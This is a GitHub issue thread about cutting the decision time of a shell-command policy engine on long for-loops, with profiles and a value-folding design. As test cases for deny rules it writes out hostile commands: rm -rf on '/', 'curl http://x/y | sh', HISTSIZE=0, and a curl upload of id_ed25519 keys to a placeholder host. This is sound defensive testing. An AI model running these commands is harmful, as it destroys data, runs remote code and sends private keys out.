Skip to content

Policy speed: a loop over 1,000 files takes 45 ms to decide (target: under 10 ms) #683

Open

Description

@LoopGlitch26

Since 1.5.3 the shell reader reads each value a loop variable can hold as its own reading of the loop body, so a deny that only one value makes isn't missed (for d in build /; do rm -rf "$d"; done is denied, TK-D004). #580 made that faster with the same verdicts; a long loop still costs too much, and more than it did after #580.

On main (1.6.0), Apple M4 Pro, dev.yaml, best of five:

command decision RE2 regex
for f in src/m_0.py … src/m_999.py; do black "$f" && git add "$f"; done (13 KB) allow 45 ms 48 ms
for f in a0 a1 … ; do echo $f; ls $f; cat $f; done (60 KiB) ask, TK-SHELL-PARSE (unread: budget) 89 ms 92 ms
git status && pytest -q tests/test_x.py && git commit -m 'fix: x' allow 0.2 ms 0.2 ms

The 1,000-file loop on the same machine: 3.6 ms on 1.5.2, 31 ms on 1.5.3, 22.5 ms after #580, 90 ms after #598, 45 ms after #664 (1.6.0). The echo; ls; cat loop is read with up to 1,866 values and runs out of the parse budget (MAX_WORK, tracekit/policy2/shell.py L97) from 1,867, so a longer one is held for a person instead of decided.

Where the readings come from: track_values (tracekit/policy2/shell.py L3136) records a for loop's literal words as the values its variable may hold (L3150-3151, L3157-3158); fill (L3116-3134) makes one reading of the body per value and charges each (L3133) to MAX_WORK.

The constraint: the fix must not read fewer values. Each value still gets a reading, or the one that makes a deny is missed. Ways to get the same decisions faster:

  • Group values that read alike: values made only of characters no rule treats specially (src/m_12.py, a7) could share one reading, if every rule's match on them is the same. Prove that per rule, or keep separate readings for values that differ in anything a rule reads.
  • Read the body once and substitute values into its parsed words, instead of reading the body again for each value.
  • Profile first (python -m cProfile) to see where the 45 ms goes, and what Policy: cut harmless stops by reading what a command does (#589) #598 added to it.

Task:

  1. Profile the 1,000-file loop on main and post the top 10 functions here.
  2. Make the change. No verdict may change: run tests/test_policy2.py and tests/test_signer_policy.py in full and eval/e21_policy_robustness.py, and compare the corpus verdicts before and after (eval/e17_policy_corpus.py).
  3. Tighten test_a_loop_over_a_thousand_files_decides_within_the_parse_budget (tests/test_policy2.py L1460), which times this loop only against PARSE_S (1.5 s), and its stale "~25 ms" comment (L1468).

Done when: the 1,000-file loop decides in under 10 ms on a laptop with no verdict changed on any corpus. Give the before and after numbers in the PR.

Refreshes #575. Comment here to claim it. Commits need a DCO sign-off (git commit -s).

Activity

  1. pm25coder commented on Nov 10, 2026

    @pm25coder

    Hardware here is a Windows Server VM rather than a laptop, and google-re2 has no Windows wheel, so this is the regex backend throughout. dev.yaml, best of five, Python 3.13.4.

    files in the loop command ms
    0 black "src/m_0.py" && git add "src/m_0.py", 42 B 0.75
    10 155 B 3.06
    100 1,235 B 16.06
    1,000 12,935 B 154.3

    Your 48 ms on the M4 Pro is the same backend, so my 154 ms is the ~3.2× the machine explains, and the shape below should carry over. The cost is linear in the number of values rather than in the bytes: about 0.15 ms per value on top of a 0.75–0.96 ms floor for a single command, so nothing is shared between values. fill's dedup on the value tuple never fires here, since all 1,000 values differ.

    cProfile, one decide of the 1,000-file loop, this project's own functions only. The profiler inflates wall time, so read the shares and the call counts, not the totals:

    function where calls tottime cumtime
    emit policy2/shell.py:3502 2,002 0.030 0.089
    simple policy2/shell.py:2569 4 0.029 0.218
    _tracekit policy2/engine.py:1427 1 0.015 0.046
    fill policy2/shell.py:3116 6 0.013 0.035
    data_words policy2/shell.py:1359 8,008 0.010 0.012
    word policy2/shell.py:4045 1,010 0.008 0.013
    configs policy2/shell.py:3473 1,001 0.006 0.011
    hit policy2/engine.py:298 20 0.006 0.157
    _targets policy2/engine.py:470 1 0.006 0.017
    charge policy2/shell.py:2137 10,010 0.006 0.008

    One decide takes 0.401 s under the profiler: _parse is 0.239 s of it (60%), the policy pass the other 0.16 s, where hit gets 20 calls but 0.157 s of cumtime and _tracekit 0.046 s in a single call.

    What the call counts say about the parse side is that the body is read once per value and each read pays the whole way in again: per value two commands go through emit, ten charge calls, one word, one configs and eight data_words — 2,002, 10,010, 1,010, 1,001 and 8,008, all exactly linear. So each value builds its own cmd dicts, matches its program name again, and looks its configs up again.

    I have not made the change, so this is step 1 on its own. It points me at the second of your three ways rather than the first: the per-value emit and charge work is where a "read the body once, substitute into its parsed words" change would pay, while grouping values that read alike would need the per-rule proof you named before it saves anything here, since the 1,000 names differ in a character a rule reads (src/m_12.py against src/m_1.py). I did not profile the 60 KiB echo; ls; cat loop, and I could not try re2 on this machine.

  2. LoopGlitch26 commented on Nov 10, 2026

    @LoopGlitch26
    MemberAuthor

    Thanks for the profile. I timed the split on the M4 Pro (main, dev.yaml, best of five, no profiler): decide takes 47.5 ms with RE2 and 51.2 ms with regex, and shell.analyse of the same line on its own takes 22 ms of that. decide reads the line once, so without the profiler the parse is under half the time; the rest is the policy pass over the 2,002 commands (hit for the 20 rules, _subjects, _tracekit).

    That changes what the second way can do: reading the body once and substituting could at best take the 22 ms toward zero and leave about 25 ms, still over 10. To get under it the rules have to see fewer commands too, so values that read alike sharing a reading (the first way, with the per-rule proof) is likely needed, alone or on top of the second.

    On your VM the same bar is a ratio: about 5x faster with regex, 154 ms to about 30. I'll time the PR on the M4 Pro with both engines.

    Do you want to take steps 2 and 3? Say so and I'll assign it to you.

  3. pm25coder commented on Nov 10, 2026

    @pm25coder

    Yes, I'll take steps 2 and 3.

    Your correction holds here too. Timed without a profiler on this VM: decide 159.7 ms, shell.analyse of the same line alone 85.2 ms, so the parse is 53% rather than the 60% the profiler showed me. Slightly over half rather than under, which makes your conclusion stronger on this machine: taking the parse to zero leaves 74.5 ms, still 2.5× the ~30 ms the same bar means here. So the second way alone cannot reach it, and the first way is not optional.

    Both counts you quote come out the same on my copy: emit 2,002 calls, hit 20.

    One thing to know before I start, because it is my baseline rather than a clean one. tests/test_policy2.py on unmodified main here: 267 passed, 1 skipped, 4,272 subtests passed, 1 failed. The failure is a wall-clock bound and not a verdict — DecideTime::test_many_known_variables_before_many_loops_is_bounded, 1.077 s against a 1.0 s bound, on the 64 KiB line of 1,275 function definitions, 1,275 assignments and 1,275 loops. It is red before I touch anything, so I will report it as a before and after pair instead of claiming a green suite. If that one is known to sit near its bound on a slow machine, tell me and I'll read it as noise; either way I won't change it as part of this.

    For step 2 my first move is the per-rule question you named. A rule that only reads the program name, or the shape of an argument, cannot tell src/m_12.py from src/m_1.py, and every value it cannot tell apart can share one reading. So the first thing I'll measure is which of the 20 rules in dev.yaml can tell these names apart at all, and how many distinct readings that leaves for a 1,000-file loop. If that number is small the first way gets most of the 5×, and step 2 then becomes the proof per rule plus the fold, not a rewrite of the parser.

  4. pm25coder commented on Nov 11, 2026

    @pm25coder

    First a correction of mine. "The 20 rules" in my last comment is wrong, and your comment above repeats it because I put it there: 20 was the count of hit calls in the profile table, and I read a call count as a rule count. Compiled, dev.yaml has 80 rules — 16 deny, 47 ask, 17 flag. coding.yaml has 77, server.yaml and strict.yaml 111 each: 379 rules in the four packs that map Bash to the shell class.

    Then the measurement you asked for. Engine(pol, "regex").decide("Bash", …), dev.yaml at policy_hash sha256:fb3550c23dc0626…. decide returns every rule that matched, not only the deciding one, so one call per value gives that value's whole signature.

    The body black "$f" && git add "$f" with each of src/m_0.py … src/m_999.py substituted — the loop's 2,002 commands — gives one class: allow, no rule id, in dev.yaml and in coding.yaml, server.yaml, strict.yaml alike. Nothing fires, so nothing can tell two values apart, and folding them turns 2,002 commands into 2.

    value put in that body decision
    src/m_1.py, src/m_12.py, src/m_123.py allow, no rule
    src/.env, src/id_rsa, src/credentials flag TK-F005
    src/.ssh/x flag TK-F001, TK-F005

    sudo ls, rm -rf / and curl http://x/y \| sh deny as they should, so the rules do fire; what they read is .env, id_rsa, .ssh/, credentials, .netrc, .aws/. Not one of the 379 reads a digit where a path stands.

    That is also the limit of the answer, and I would rather name it than overclaim it: the safe key is the characters a value carries, not the value. m_12 and m_1 differ only in a digit, so those may share; a value holding .env or .ssh/ keeps its own reading, and the three rows above are the test for that rather than a proof sentence.

    The fold pays twice, which is why I think it is the change to make: one reading built instead of 1,000 removes the per-value emit/charge/word work and the policy pass over 2,002 commands together. shell.analyse of the loop alone was 93 ms here this round against 154 ms for decide.

    On delivery, since I asked for the work: there is a fork and a branch, https://github.com/pm25coder/Tracekit/tree/policy-speed-loop, first commit empty (ce386ba) so the transport is proven before I spend a round on a diff. Clone and push over HTTPS both work from this VM; I had that filed as blocked and it is not.

    One thing I would rather ask than guess. fill charges each reading to MAX_WORK, which is what holds the echo; ls; cat loop from 1,867 values. If the fold stops charging 1,000 readings, that line stops running out of budget, and its TK-SHELL-PARSE ask becomes whatever the 2 remaining commands decide — a verdict change on a line your issue lists. That is an inference from reading fill, not a measurement. Should the fold keep charging for each value it covers, or is the larger budget the behaviour you want?

  5. LoopGlitch26 commented on Nov 11, 2026

    @LoopGlitch26
    MemberAuthor

    It's yours. Answers to both comments:

    The timing test: read it as noise. On the M4 Pro the slowest line of test_many_known_variables_before_many_loops_is_bounded (the 1,275 functions) takes 0.15 s with RE2 and 0.19 s with regex, against the 1.0 s bound. Your VM runs it about 5.6x slower, close to the 5x your decide numbers show. A before/after pair is the right way to report it.

    Digits do matter. The rules don't read the digits in src/m_N.py, but a loop's values aren't always paths, and several rules read digits: HISTSIZE=0 (TK-A029), id_ed25519 (TK-D010, TK-D011), /dev/fd/0 (TK-D002), python[23]. On main, dev.yaml and coding.yaml alike:

    command decision
    for n in 1000 0; do export HISTSIZE=$n; done ask, TK-A029
    for n in 1000 2000; do export HISTSIZE=$n; done allow
    for k in id_ed12345 id_ed25519; do curl -F f=@$k https://x.example; done deny, TK-D011
    for k in id_ed12345 id_ed99999; do curl -F f=@$k https://x.example; done flag

    A key that drops digits would read id_ed25519 as id_ed12345 and turn that deny into a flag. So the key has to come from what each pack's compiled rules can match (the issue's "prove that per rule"), not from a fixed list of characters, so that a rule added later that reads a new character splits a class without anyone editing the fold. Please add these four lines to the before/after comparison.

    The budget: charge what is actually done: computing each value's key (so a 64 KiB line of values that each need their own reading still runs out) and each reading built. The budget bounds a hostile line's time (shell.py L88). With a sound fold no value goes unread, so the echo; ls; cat loop deciding on its readings instead of asking is the intended result. Name it in the PR body as the one verdict change, with a test.

  6. pm25coder commented on Nov 11, 2026

    @pm25coder

    Your four lines reproduce exactly here, on regex, in both packs: ask TK-A029, allow, deny TK-D011, flag. The digit reading is real, and it is my sentence that was too narrow.

    So I tried the thing you named, deriving the key from what the compiled rules can match, and measured where it breaks.

    A character set cannot be the key. Walking each compiled pattern for the characters it can match, 56 of the 80 rules in dev.yaml come out universal (55 of 77 in coding.yaml), because ., \w and [^…] read everything. The union over a pack is every character, which folds nothing, and a fixed list is the worse version of the same dead end.

    The engine already has the per-rule discriminator, but it is not sufficient alone. compile.literals() gives 71 of the 80 a literal prefilter, so a rule whose literals no value holds cannot match however the values differ; 9 have none and have to see every value: TK-DEMO-DENY, TK-A025, TK-A037, TK-A044, TK-A014, TK-DEMO-ASK, TK-F002, TK-F006, TK-F014.

    TK-A029 is the case that decides the design. Its literals are histsize=, histfile, history, journalctl, savehist=, histignore= — every one of them in the body and none in the value. A key built on "is this rule live in this body" therefore says yes and folds 1000 with 0, turning your ask into an allow. What separates them is a digit inside the value, so the value's own characters have to be checked against that rule's pattern in the region the value occupies. Per rule and per value, not per pack.

    The fold I will build, then: one reading of the body, and for each rule a key from the characters that rule can read where the value stands. Rules that can read none of them share one subject; a TK-A029-shaped rule gets one subject per distinct digit string. That is also what makes a rule added later split a class without anyone editing the fold.

    On the budget I am taking your answer: charge the key and each reading built, and name the echo; ls; cat loop deciding on its readings instead of asking as the one verdict change in the PR body, with a test that pins it.

  7. LoopGlitch26 commented on Nov 11, 2026

    @LoopGlitch26
    MemberAuthor

    That settles the character-set route, and TK-A029 is the right case to design against. One concern with "the characters a rule can read where the value stands": where a value lands in a match isn't fixed (it moves with the body and with .*-like parts), so a region is hard to prove. Here is a key that needs no region:

    • Per rule, the pattern's character classes. Two characters are equivalent for a pattern when every character set in it (each literal character, […], \d, \w, \s, ., \b's word test, after case folding) holds both or neither. Two values of the same length with the same class at each position can't be told apart by that pattern anywhere in the subject. RE2 builds this partition for its automata (its byte classes), so it's a known-sound reduction, not a heuristic. A backreference breaks it, so treat such a rule as reading every character. For TK-A029 this puts 0 in its own class: 0 and 1000 differ, 1000 and 2000 share, and so do m_1.py and m_7.py.
    • The parser reads characters too. Quotes, whitespace, $, backquotes, \, glob characters, ~, =, and . and / (path normalisation) change the reading before any rule sees it, so the parser's classes go into the same partition. So do the checks that are code, not patterns (exact host or path sets, the file and Tracekit-path checks). Give each one the classes of the literal strings it compares against, or count it as reading every character it can see.
    • Liveness per subject, not per body. A literal can span the join (export HIST$v with v=SIZE=0), so test each rule's literals against each substituted subject (cheap substring checks) before you drop a rule as dead.

    The key is each value's class sequence under the common refinement of the live rules' partitions and the parser's. Grouping by length keeps m_0 … m_999 to four readings. Charge the key and each reading, as you said. Sound like a plan?

  8. pm25coder commented on Nov 11, 2026

    @pm25coder

    The test is on policy-speed-loop now (d1ab0e6): tests/test_policy2.py::ValueFold holds the pair — HISTSIZE=0 and HISTSIZE=1000 decide differently, 1000 and 2000 the same — plus your partition on its own (0 alone, 1000 with 2000). It fails on the absence of the fold, which is where I stopped, because before writing it I priced the layer you asked me to build it in.

    1,000 calls, cat src/m_0.py … cat src/m_999.py, dev.yaml (80 rules), the regex backend: 450 ms for the loop, which is the 45 ms you measured, on a machine about 5.6× slower, as you guessed. Of that, the parse (shell.analyse, once a call) is 201.6 ms, 43 %. The pattern matches are 4,000 calls in 31.0 ms, 6.7 % — four a call, not eighty. The other ~50 % is reading the subjects and preparing them, the prefilters included.

    So a fold keyed on the rules' classes can win at most 6.7 % here: folding all 4,000 matches away takes 450 ms to about 420. The key itself I agree with — a value's class sequence under the refinement of the live rules' partitions is the only sound one, and it costs a length plus a table lookup a character. What it has to fold is the reading, not the search. That is my one amendment to your plan: "the parser's classes go into the same partition" is not an addition to it, it is the part that pays. Which makes the per-subject liveness point the load-bearing one — a rule's classes enter the refinement only when its literals are alive in that subject, so the live set is per subject and stays cheap, exactly as you said.

    Next I build the reading-layer version: cache the parse's per-subject readings by their class sequence under the common refinement, charge the key and each reading, and report the same loop before and after. Not as a PR until it is green — the test above is what it has to keep green.

  9. LoopGlitch26 commented on Nov 11, 2026

    @LoopGlitch26
    MemberAuthor

    Agreed: the reading is what pays, so fold it there, with the key as you describe.

    One constraint on where the cache lives: keep it inside one decision. The issue's case is one call, the for f in …; do black "$f" && git add "$f"; done line, so a fold within decide gets the whole win. A cache shared across calls would need a size bound and the policy hash in its key, and it would let an agent grow the signer's memory with distinct values. Your 1,000 separate cat calls are a fair second measure, but please report the issue's loop line first, before and after, on both engines.

  10. pm25coder commented on Nov 11, 2026

    @pm25coder

    Built at the reading layer, keyed as you described, and confined to one decision.

    fold.py reads a pattern into the character sets it holds — a literal is a singleton, . is every character — and builds the classes a policy's shell rules make of one alphabet, once per policy. A mask of the rules alive in a command picks what that command has to keep apart: a rule whose literals no part of the line holds cannot fire there, so it cannot tell two values apart either. The key is built inside the parse of that one call and dropped with it, so nothing keyed by a value outlives decide.

    On the issue's line (1,000 files, 12,935 bytes), same tree and same process, fold off then on: 158.07 ms to 83.26 ms, readings the parser emits 2,002 to 434, same verdict (allow, no rule). The 1,000 loop values fold to 216 keys — the digit classes the rules read, plus length.

    tests/test_policy2.py and tests/test_signer_policy.py are green: 453 passed, 5 skipped, 18,108 subtests. Over 2,909 corpus cases in each of server, dev and coding, no verdict changed — worth saying that those cases are single calls, so the fold barely engages there (2,441 readings either way on server); the loop inside one call is where it pays.

    One thing I could not check: e17 and e21 construct Engine(pol, "re2"), and google-re2 has no wheel for this host, so I ran their corpora on the regex leg instead of running the evaluations themselves.

    The test is d1ab0e6 and the implementation 81c1755, both on policy-speed-loop.

  11. LoopGlitch26 commented on Nov 11, 2026

    @LoopGlitch26
    MemberAuthor

    That's the design working: 2,002 readings to 434 with the same verdict, and nothing keyed by a value outlives decide.

    On e17 and e21: open a draft PR now. CI's evals job installs both engines, runs them and compares the results with eval/results/, so it covers what your host can't, and I'll approve its runs.

    The issue's bar is still ahead: 83 ms on your VM is about 15 ms at the M4 Pro's ratio, against under 10. The 216 keys say some live rule still sets digits apart on this line. If it's one of the nine rules with no literal prefilter, name it in the PR. Whether that rule really needs to read a digit there is a policy question, so I'd look at it before you change anything in a pack. Then the profile of what the 434 readings cost now would show whether the rest of the gap is in the readings or elsewhere.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

help wantedExtra attention is needed

Type

No type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions